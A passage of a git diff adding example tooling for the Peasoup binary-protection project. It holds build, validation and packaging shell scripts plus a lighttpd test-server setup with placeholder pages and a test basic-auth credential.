+sqlite_temp_master WHERE
+|| substr(name,
+substr(name,
+|| substr(sql,
+|| substr(sql,14)  FROM sqlite_master WHERE sql LIKE 'CREATE INDEX 
+substr(sql,14)   FROM sqlite_master WHERE type='table' AND name!='sqlite_sequence'   AND rootpage>0
+|| substr(sql,21)   FROM sqlite_master WHERE sql LIKE 'CREATE UNIQUE INDEX
+, tbl_name=
+, tbl_name = 
+UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, 
+VALUES(1, zeroblob(
+VALUES('index',
+VALUES('trigger',
+WHEN name LIKE 'sqlite_autoindex
+WHERE blockid BETWEEN 
+WHERE docid=
+WHERE docid = 
+WHERE id=2
+WHERE level =
+WHERE level = 
+WHERE level BETWEEN
+WHERE level BETWEEN 
+WHERE name = 
+WHERE nodeno = 
+WHERE nodeno = 1
+WHERE rowid=
+WHERE rowid!=
+WHERE tbl_name=
+WHERE tbl_name =
+) WHERE type = 'table' AND name = 
+WHERE type = 'table' AND name = 
+WHERE type='view'
diff --git a/peasoup_examples/tools/test_controller.sh b/peasoup_examples/tools/test_controller.sh
new file mode 100755
index 0000000000000000000000000000000000000000..481ec798e9999d8ad71f0e4da059ff0b0925a6ae
--- /dev/null
+++ b/peasoup_examples/tools/test_controller.sh
@@ -0,0 +1,27 @@
+#!/bin/sh
+
+whoami=`whoami`
+
+echo Building files...
+gcc -w concolic_test_handshake.c -o test_controller.exe 
+gcc -w hanoi_overrun.c -o hanoi_overrun.ncexe
+$STRATAFIER/do_stratafy.sh hanoi_overrun.ncexe >/dev/null 2>&1 
+mv new.exe hanoi_overrun.stratafied
+
+echo  Removing all ipc queues.
+for i in `ipcs -q|grep $whoami |cut -d" " -f 2`; 
+do
+	ipcrm -q $i
+done
+STRATA_GRACE=1 STRATA_LOG=ipc ./test_controller.exe ./hanoi_overrun.stratafied
+
+echo cleaning up
+killall hanoi_overrun.stratafied
+killall test_controller.exe
+echo  Removing all ipc queues.
+for i in `ipcs -q|grep $whoami |cut -d" " -f 2`; 
+do
+	ipcrm -q $i
+done
+
+rm test_controller
diff --git a/peasoup_examples/tools/update_env_var.sh b/peasoup_examples/tools/update_env_var.sh
new file mode 100755
index 0000000000000000000000000000000000000000..33e8354e9195df52d92717d0c8355e9e1ab9d9d0
--- /dev/null
+++ b/peasoup_examples/tools/update_env_var.sh
@@ -0,0 +1,10 @@
+#!/bin/sh 
+
+var=$1
+value=$2
+
+if [ -f ps_run.sh ]; then
+	cat ps_run.sh |sed "s/$1=.*$/$1=$2/" > ps_run.sav
+	mv ps_run.sav ps_run.sh
+	chmod +x ps_run.sh
+fi
diff --git a/peasoup_examples/tools/validate.sh b/peasoup_examples/tools/validate.sh
new file mode 100755
index 0000000000000000000000000000000000000000..7fb1921ef8474c5645e37509734f12b530232ea9
--- /dev/null
+++ b/peasoup_examples/tools/validate.sh
@@ -0,0 +1,54 @@
+#!/bin/sh
+#
+# Validate transformed program
+#
+#   $1 stratafied binary to validate
+#   $2 binary SPRI file
+#   $3 directory of inputs
+#   $4 directory of baseline outputs
+#
+#
+
+echo "=========================================="
+echo "Running program validator"
+echo "=========================================="
+
+STRATAFIED_BINARY=$1   # stratafied binary
+BSPRI_FILE=$2          # binary spri file
+INPUT_DIR=$3           # directory with inputs
+OUTPUT_DIR=$4          # directory of baseline output
+
+for i in `ls $INPUT_DIR/input*.json`
+do
+  input=`basename $i .json`
+  echo "Validating on input $input"
+  STRATA_SPRI_FILE=$BSPRI_FILE $GRACE_HOME/concolic/bin/replayer --symbols=a.sym --stdout=stdout.$input.$fn --stderr=stderr.$input.$fn --engine=sdt $STRATAFIED_BINARY $i
+
+  # check against stdout
+  if [ ! -z replay.baseline/stdout.$input ];
+  then
+    diff stdout.$input.$fn replay.baseline/stdout.$input
+    if [ ! $? -eq 0 ]; then
+      echo "ERROR -- output divergence (stdin) detected on input: $i"
+      exit 1
+    fi
+
+    rm stdout.$input.$fn 2>/dev/null
+    rm stderr.$input.$fn 2>/dev/null
+  fi
+
+  # check against sterr
+  if [ ! -z replay.baseline/stderr.$input ];
+  then
+    diff stderr.$input.$fn replay.baseline/stderr.$input
+    if [ ! $? -eq 0 ]; then
+      echo "ERROR -- output divergence (stderr) detected on input: $i"
+      exit 1
+    fi
+
+    rm stdout.$input.$fn 2>/dev/null
+    rm stderr.$input.$fn 2>/dev/null
+  fi
+
+done
+
diff --git a/peasoup_examples/tools/zanalyze.sh b/peasoup_examples/tools/zanalyze.sh
new file mode 100755
index 0000000000000000000000000000000000000000..e8eb34c87bc3e803327b5201f67ab2807cb93bc8
--- /dev/null
+++ b/peasoup_examples/tools/zanalyze.sh
@@ -0,0 +1,255 @@
+#/bin/bash
+
+
+usage()
+{
+	echo '
+zanalyze.sh 
+
+  # this scren
+  --help
+
+  # specify input.
+  (
+    (--inzar|-z) <input.zar> | 
+    (-i|--infiles) "file1 file2 file3 ..." |
+    (-m|--inmanifest) <input.json>
+  ) 
+
+ # specify output.
+ (-o|--outfile| <output.zar,output.exe,... defaults to $input.protected.zar>)
+
+ # specify how to protect the input.
+ [(-p|—protection_engine) </path/to/pretection engine and options>
+     e.g. cfar.sh|ps_analyze.sh|ps_analyze_cgc.sh|cfar_probP1_zipr.sh|cfar_probP1_strata.sh 
+     defaults to "$P_H/tools/ps_analyze.sh --backend zipr">
+ ] 
+
+ # specify one-by-one or all-at-once protection (zipr/strata differences in protection engines)
+ [(-x|--pe_mode) [(i|individual)|(m|multi) 
+     defaults to "-x i"
+ ] 
+
+ # Specify a collection engine -- this is a "finishing" step after the protection engine has finished 
+ # processing all the inputs.  Can be used to collect results into installers, tarballs, etc.
+ (-c|—collection-engine) <engine and options, defaults to "$PEASOUP_HOME/tools/zipr_ce.sh>" 
+
+ # specify a path for an output file containing a description of what happened -- for future expansion, ignored for now.
+ [(-s|--output_spec) <filename.attr>]
+'
+
+}
+
+check_options()
+{
+
+
+        # Note that we use `"$@"' to let each command-line parameter expand to a 
+        # separate word. The quotes around `$@' are essential!
+        # We need TEMP as the `eval set --' would nuke the return value of getopt.
+        short_opts="z:i:m:o:p:x:c:s:h"
+        long_opts="--long inzar:
+                   --long infiles:
+                   --long inmanifest:
+                   --long outfile:
+                   --long protection_engine:
+                   --long pe_mode:
+                   --long collection_engine
+                   --long output_spec:
+                   --long help
+                "
+
+        # solaris does not support long option names
+        if [ `uname -s` = "SunOS" ]; then
+                TEMP=`getopt $short_opts "$@"`
+        else
+                TEMP=`getopt -o $short_opts $long_opts -n 'zanalyze.sh' -- "$@"`
+        fi
+
+
+        # error check #
+        if [ $? != 0 ] ; then echo "Terminating..." >&2 ; exit -1 ; fi
+
+        # Note the quotes around `$TEMP': they are essential!
+        eval set -- "$TEMP"
+
+        while true ; do
+                case "$1" in
+                        --help|-h)
+				usage;	
+				exit 1	
+			;;
+#			--inzar|-z)
+#				echo "not impl'd"
+#				exit 1
+#			;;
+#			--inmanifest|-m)
+#				echo "not impl'd"
+#				exit 1
+#			;;
+			--infiles|-i)
+				infiles="$2"
+				shift 2
+			;;
+			--outfile|-o)
+				outfile="-o $2"
+				shift 2
+			;;
+			--protection_engine|-p)
+				protection_engine="$2"
+				shift 2
+			;;
+			--pe_mode|-x)
+				if [ "X$2" = "Xi" ]; then
+					pe_mode="individual"
+				elif [ "X$2" = "Xindividual" ]; then
+					pe_mode="individual"
+				elif [ "X$2" = "Xm" ]; then
+					pe_mode="multi" 
+				elif [ "X$2" = "multi" ]; then
+					pe_mode="multi"
+				else
+					echo "--pe_mode $pe_mode not understood"
+					exit 1
+				fi
+				shift 2
+			;;
+			--collection_engine|-c)
+				collection_engine="$2"
+				shift 2
+			;;
+#			--output_spec|-s)
+#				output_spec="--output_spec $2"
+#				shift 2
+#			;;
+                        --)     
+				shift
+                                break
+                        ;;
+                        *)     
+				 echo "Internal error!" 
+				echo found option "$1"
+				
+                                exit -2
+                        ;;
+                esac
+        done
+
+        # report errors if found
+        if [ ! -z $1 ]; then
+                echo Unparsed/unimplemented parameters:
+        	for arg do echo '--> '"\`$arg'" ; done
+                exit 3;
+        fi
+
+}
+
+check_environ_vars()
+{
+
+        while [ true ]; 
+        do
+
+                # done?
+                if [ -z $1 ]; then
+                        return;
+                fi
+
+                # create the $ENVNAME string in varg
+                varg="\$$1"
+
+                # find out the environment variable's setting
+                eval val=$varg
+
+                if [ -z $val ]; then echo Please set $1; exit 1; fi
+
+                shift
+        done
+
+}
+
+
+expand_zar()
+{
+	# do nothing yet
+	# eventually expand and set infile to set of input files
+	echo  -n
+}
+
+do_individual_protection()
+{
+	seq=0
+	for i in $infiles
+	do
+		file=$PWD/manifest$seq.attr
+		echo Attempting: $engine $i $i.protected $engine_options --step output_spec=on --step-option output_spec:"--file $file"
+		$engine $i $i.protected $engine_options --step output_spec=on --step-option output_spec:"--file $file"
+		engine_res="$?"
+
+		if  [  $engine_res != 0 ]; then
+			echo "Engine protection failed.  Aborting..."
+			exit  $engine_res
+		fi
+		seq=$(expr $seq + 1)
+		
+		intermediate_attribute_files="$intermediate_attribute_files $file"
+	done
+}
+
+do_multi_protection()
+{
+	echo "Multi protection not yet implemented."
+	exit 1
+}
+
+invoke_collection_engine()
+{
+	echo "Attempting: $collection_engine --attrfiles '$intermediate_attribute_files' $outfile"
+	$collection_engine --attrfiles "$intermediate_attribute_files" $outfile
+}
+
+
+parse_protection_engine()
+{
+	engine=$(echo $protection_engine | cut -d' ' -f1)
+	engine_options=$(echo $protection_engine' ' | cut -d' ' -f2-)
+
+}
+
+main()
+{
+
+	check_environ_vars PEASOUP_HOME 
+
+	outspec=""
+        intermediate_attribute_files=""
+	collection_engine="$PEASOUP_HOME/tools/zipr_ce.sh"
+	protection_engine="$PEASOUP_HOME/tools/ps_analyze.sh --backend zipr"
+	pe_mode="individual"
+	outfile="-o output.zar"
+
+	check_options "$@"
+
+	parse_protection_engine
+
+	expand_zar 
+
+	if  [ "$pe_mode" = "individual" ]; then
+		do_individual_protection
+	elif  [ "$pe_mode" = "multi" ]; then
+		do_multi_protection
+	else
+		echo "--pe_mode $pe_mode not understood"
+		exit 1
+	fi
+
+	invoke_collection_engine
+
+
+	echo Infile=$infiles
+
+}
+
+
+# execute the program
+main "$@"
diff --git a/peasoup_examples/tools/zipr_ce.sh b/peasoup_examples/tools/zipr_ce.sh
new file mode 100755
index 0000000000000000000000000000000000000000..6480a97632894f79e5769be1b2430c65721bbf24
--- /dev/null
+++ b/peasoup_examples/tools/zipr_ce.sh
@@ -0,0 +1,102 @@
+#!/bin/bash
+
+usage()
+{
+echo "
+
+Usage:
+	zipr_ce.sh (--help|-h|--usage)
+	zipr_ce.sh --(-a|--attrfiles) 'file1 file2 file3 ...' (-o|--output) <output.zar>
+"
+}
+
+check_options()
+{
+
+
+        # Note that we use `"$@"' to let each command-line parameter expand to a 
+        # separate word. The quotes around `$@' are essential!
+        # We need TEMP as the `eval set --' would nuke the return value of getopt.
+        short_opts="a:o:h"
+        long_opts="--long attrfiles:
+                   --long ouput:
+                   --long help
+		   --long usage
+                "
+
+        # solaris does not support long option names
+        if [ `uname -s` = "SunOS" ]; then
+                TEMP=`getopt $short_opts "$@"`
+        else
+                TEMP=`getopt -o $short_opts $long_opts -n 'zanalyze.sh' -- "$@"`
+        fi
+
+
+        # error check #
+        if [ $? != 0 ] ; then echo "Terminating..." >&2 ; exit -1 ; fi
+
+        # Note the quotes around `$TEMP': they are essential!
+        eval set -- "$TEMP"
+
+        while true ; do
+                case "$1" in
+                        --help|-h|--usage)
+                                usage;
+                                exit 1
+			;;
+                        --outfile|-o)
+                                outfile="$2"
+				shift 2
+			;;
+                        --attrfiles|-a)
+                                attrfiles="$2"
+				shift 2
+			;;
+                        --)
+                                shift
+                                break
+                        ;;
+                        *)
+                                echo "Internal error!" 
+                                echo found option "$1"
+
+                                exit -2
+                        ;;
+                esac
+        done
+        # report errors if found
+        if [ ! -z $1 ]; then
+                echo Unparsed/unimplemented parameters:
+                for arg do echo '--> '"\`$arg'" ; done
+                exit 3;
+        fi
+
+}
+
+tarfiles()
+{
+
+	for attrfile in $attrfiles
+	do
+		exefile=$(cat $attrfile |grep "#ATTRIBUTE output_file="|sed "s/#ATTRIBUTE output_file=//")
+		exefiles="$exefiles $exefile"
+	done
+	
+	tar cf $outfile $exefiles
+	
+	
+}
+
+main()
+{
+	check_options "$@"
+	tarfiles
+
+	echo Complete.
+}
+
+
+main "$@"
+
+
+
diff --git a/peasoup_examples/web_server/.lighttpdpassword b/peasoup_examples/web_server/.lighttpdpassword
new file mode 100644
index 0000000000000000000000000000000000000000..af10f5c14a52b559db929f77bd633645fbe8f93a
--- /dev/null
+++ b/peasoup_examples/web_server/.lighttpdpassword
@@ -0,0 +1 @@
+guest:password
diff --git a/peasoup_examples/web_server/lighttpd_conf_template b/peasoup_examples/web_server/lighttpd_conf_template
new file mode 100644
index 0000000000000000000000000000000000000000..f27af47b508d874eda83aa3c0254deb2a923dfd6
--- /dev/null
+++ b/peasoup_examples/web_server/lighttpd_conf_template
@@ -0,0 +1,50 @@
+server.modules = (
+	"mod_access",
+	"mod_alias",
+	"mod_compress",
+ 	"mod_redirect",
+#       "mod_rewrite",
+)
+
+server.upload-dirs          = ( "/var/cache/lighttpd/uploads" )
+server.errorlog             = "/var/log/lighttpd/error.log"
+server.pid-file             = "/var/run/lighttpd.pid"
+server.username             = "www-data"
+server.groupname            = "www-data"
+
+index-file.names            = ( "index.php", "index.html",
+                                "index.htm", "default.htm",
+                               " index.lighttpd.html" )
+
+url.access-deny             = ( "~", ".inc" )
+
+static-file.exclude-extensions = ( ".php", ".pl", ".fcgi" )
+
+## Use ipv6 if available
+#include_shell "/usr/share/lighttpd/use-ipv6.pl"
+
+dir-listing.encoding        = "utf-8"
+server.dir-listing          = "enable"
+
+compress.cache-dir          = "/var/cache/lighttpd/compress/"
+compress.filetype           = ( "application/x-javascript", "text/css", "text/html", "text/plain" )
+
+include_shell "/usr/share/lighttpd/create-mime.assign.pl"
+include_shell "/usr/share/lighttpd/include-conf-enabled.pl"
+
+#configurations for peasoup
+
+server.port=1235
+
+#authentication setup
+auth.require = ( "/peasoup.auth/" =>
+(
+"method" => "basic",
+"realm" => "Password protected area",
+"require" => "user=guest"
+)
+)
+
+server.modules += ( "mod_auth" )
+auth.debug = 0
+auth.backend = "plain"
diff --git a/peasoup_examples/web_server/www/hello_world.txt b/peasoup_examples/web_server/www/hello_world.txt
new file mode 100644
index 0000000000000000000000000000000000000000..e0f1ee1826f922f041e557a16173f2a93835825e
--- /dev/null
+++ b/peasoup_examples/web_server/www/hello_world.txt
@@ -0,0 +1 @@
+hello world.
diff --git a/peasoup_examples/web_server/www/index.html b/peasoup_examples/web_server/www/index.html
new file mode 100644
index 0000000000000000000000000000000000000000..a5daf829bcc197ade1aecbae3750079c4d07ba52
--- /dev/null
+++ b/peasoup_examples/web_server/www/index.html
@@ -0,0 +1,9 @@
+<html><body><h1>It works!</h1>
+<p>This is the default web page for this server.</p>
+<p>The web server software is running but no content has been added, yet.</p>
+<hr>
+<ul>
+<li><a href="peasoup">Peasoup test here</a></li>
+<li><a href="peasoup.auth">Peasoup test here: should require authentication</a></li>
+</ul>
+</body></html>
diff --git a/peasoup_examples/web_server/www/index.lighttpd.html b/peasoup_examples/web_server/www/index.lighttpd.html
new file mode 100644
index 0000000000000000000000000000000000000000..8d7f85013b64504491e9f6b685fd8a4eb2f43e88
--- /dev/null
+++ b/peasoup_examples/web_server/www/index.lighttpd.html
@@ -0,0 +1,57 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+<title>Welcome page</title>
+<style type="text/css" media="screen">
+body { background: #e7e7e7; font-family: Verdana, sans-serif; font-size: 11pt; }
+#page { background: #ffffff; margin: 50px; border: 2px solid #c0c0c0; padding: 10px; }
+#header { background: #4b6983; border: 2px solid #7590ae; text-align: center; padding: 10px; color: #ffffff; }
+#header h1 { color: #ffffff; }
+#body { padding: 10px; }
+span.tt { font-family: monospace; }
+span.bold { font-weight: bold; }
+a:link { text-decoration: none; font-weight: bold; color: #C00; background: #ffc; }
+a:visited { text-decoration: none; font-weight: bold; color: #999; background: #ffc; }
+a:active { text-decoration: none; font-weight: bold; color: #F00; background: #FC0; }
+a:hover { text-decoration: none; color: #C00; background: #FC0; }
+</style>
+</head>
+<body>
+<div id="page">
+ <div id="header">
+ <h1> Placeholder page </h1>
+  The owner of this web site has not put up any web pages yet. Please come back later.
+ </div>
+ <div id="body">
+  <h2>You should replace this page with your own web pages as soon as possible.</h2>
+  Unless you changed its configuration, your new server is configured as follows:
+  <ul>
+   <li>Configuration files can be found in <span class="tt">/etc/lighttpd</span>. Please read  <span class="tt">/etc/lighttpd/conf-available/README</span> file.</li>
+   <li>The DocumentRoot, which is the directory under which all your HTML files should exist, is set to <span class="tt">/var/www</span>.</li>
+   <li>CGI scripts are looked for in <span class="tt">/usr/lib/cgi-bin</span>, which is where Ubuntu packages will place their scripts. You can enable cgi module by using command <span class="bold tt">&quot;lighty-enable-mod cgi&quot;</span>.</li>
+   <li>Log files are placed in <span class="tt">/var/log/lighttpd</span>, and will be rotated weekly. The frequency of rotation can be easily changed by editing <span class="tt">/etc/logrotate.d/lighttpd</span>.</li>
+   <li>The default directory index is <span class="tt">index.html</span>, meaning that requests for a directory <span class="tt">/foo/bar/</span> will give the contents of the file /var/www/foo/bar/index.html if it exists (assuming that <span class="tt">/var/www</span> is your DocumentRoot).</li>
+   <li>You can enable user directories by using command <span class="bold tt">&quot;lighty-enable-mod userdir&quot;</span></li>
+  </ul>
+  <h2>About this page</h2>
+  <p>
+   This is a placeholder page installed by the Ubuntu release of the <a href="http://packages.ubuntu.com/lighttpd">Lighttpd server package.</a>
+  </p>
+  <p>
+   This computer has installed the Ubuntu operating system, but it has nothing to do with the Ubuntu Project. Please do not contact the Ubuntu Project about it.
+  </p>
+  <p>
+   If you find a bug in this Lighttpd package, or in Lighttpd itself, please file a bug report on it. Instructions on doing this, and the list of known bugs of this package, can be found in the 
+   <a href="https://bugs.launchpad.net/+source/lighttpd/">Ubuntu Bug Tracking System.</a>
+  </p>
+  <p>
+    <a href="http://validator.w3.org/check?uri=referer"><img
+        src="http://www.w3.org/Icons/valid-xhtml10"
+        alt="Valid XHTML 1.0 Transitional" height="31" width="88" border="0" /></a>
+  </p>  
+ </div>
+</div>
+<!-- s:853e9a42efca88ae0dd1a83aeb215047 -->
+</body>
+</html>
diff --git a/peasoup_examples/web_server/www/no_extension b/peasoup_examples/web_server/www/no_extension
new file mode 100644
index 0000000000000000000000000000000000000000..d2dbc1a83fe9246643c3d4ff20a8ad223f40df48
--- /dev/null
+++ b/peasoup_examples/web_server/www/no_extension
@@ -0,0 +1 @@
+File has no extension (i.e., .txt .html, etc.)
\ No newline at end of file
diff --git a/peasoup_examples/web_server/www/peasoup.auth/hello_world.txt b/peasoup_examples/web_server/www/peasoup.auth/hello_world.txt
new file mode 100644
index 0000000000000000000000000000000000000000..e0f1ee1826f922f041e557a16173f2a93835825e
--- /dev/null
+++ b/peasoup_examples/web_server/www/peasoup.auth/hello_world.txt
@@ -0,0 +1 @@
+hello world.
diff --git a/peasoup_examples/web_server/www/peasoup.auth/index.html b/peasoup_examples/web_server/www/peasoup.auth/index.html
new file mode 100644
index 0000000000000000000000000000000000000000..1b38ff3db879396aa2937308ea3713769c8ad50c
--- /dev/null
+++ b/peasoup_examples/web_server/www/peasoup.auth/index.html
@@ -0,0 +1,5 @@
+<html>
+<body>
+This directory should require http authentication
+</body>
+</html>
diff --git a/peasoup_examples/web_server/www/peasoup/index.html b/peasoup_examples/web_server/www/peasoup/index.html
new file mode 100644
index 0000000000000000000000000000000000000000..ba88cbb5809fc3c5f6e5de286219c2c71bec2dde
--- /dev/null
+++ b/peasoup_examples/web_server/www/peasoup/index.html
@@ -0,0 +1,7 @@
+<html>
+<body>
+<h1>Welcome to Peasoup</h1>
+<img src="peasoup.jpg" />
+<font size=-2>(from flickr user: Ewan-M, CC-licensed)</font>
+</body>
+</html>
diff --git a/peasoup_examples/web_server/www/peasoup/peasoup.jpg b/peasoup_examples/web_server/www/peasoup/peasoup.jpg
new file mode 100644
index 0000000000000000000000000000000000000000..4355ee52e5bafdbf299b3563028235e2ddc521a5
Binary files /dev/null and b/peasoup_examples/web_server/www/peasoup/peasoup.jpg differ
diff --git a/peasoup_examples/web_server/www/testing/index.html b/peasoup_examples/web_server/www/testing/index.html
new file mode 100644
index 0000000000000000000000000000000000000000..cd6f5dc0bedbc5c28dd0383b7a9c8b7e2b2b42f2
--- /dev/null
+++ b/peasoup_examples/web_server/www/testing/index.html
@@ -0,0 +1,6 @@
+<html>
+<title>Testing</title>
+<body>
+<h1>Testing</h1>
+</body>
+</html>